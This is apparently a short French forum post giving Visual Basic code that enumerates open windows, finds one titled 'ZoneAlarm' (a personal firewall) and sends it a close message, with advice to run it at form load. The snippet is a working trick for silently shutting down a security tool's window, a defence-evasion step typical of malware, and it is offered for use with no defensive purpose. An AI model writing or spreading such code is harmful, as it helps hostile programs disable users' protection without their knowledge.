Ici pour lexemple jai pris zonealarm mai voyez vou meme ;)
Source / Exemple :
Dans un module :
Public Declare Function RecupHandleBureau Lib "user32" Alias "GetDesktopWindow" () As Long
Public Declare Function NextWindow Lib "user32" Alias "GetWindow" (ByVal hWnd As Long, ByVal wCmd As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dans le script :
Public Function ShutUpZoneAlarm()
Dim hWnd As Long
Dim TitreFenetre As String * 255
Dim Titre As String
hWnd = NextWindow(RecupHandleBureau(), 5)
Do While hWnd <> 0
TitreFenetre = String(255, 0)
r = GetWindowText(hWnd, TitreFenetre, 255)
If TitreFenetre <> String(255, 0) Then
Titre = TitreFenetre
Titre = Left(Titre, r)
If Titre = "ZoneAlarm" Then
PostMessage hWnd, 16, 0, 0
End If
End If
hWnd = NextWindow(hWnd, 2)
Loop
End Function
Juste Call ShutUpZoneAlarm dans le form_load() par exemple et le tour et jouer ;)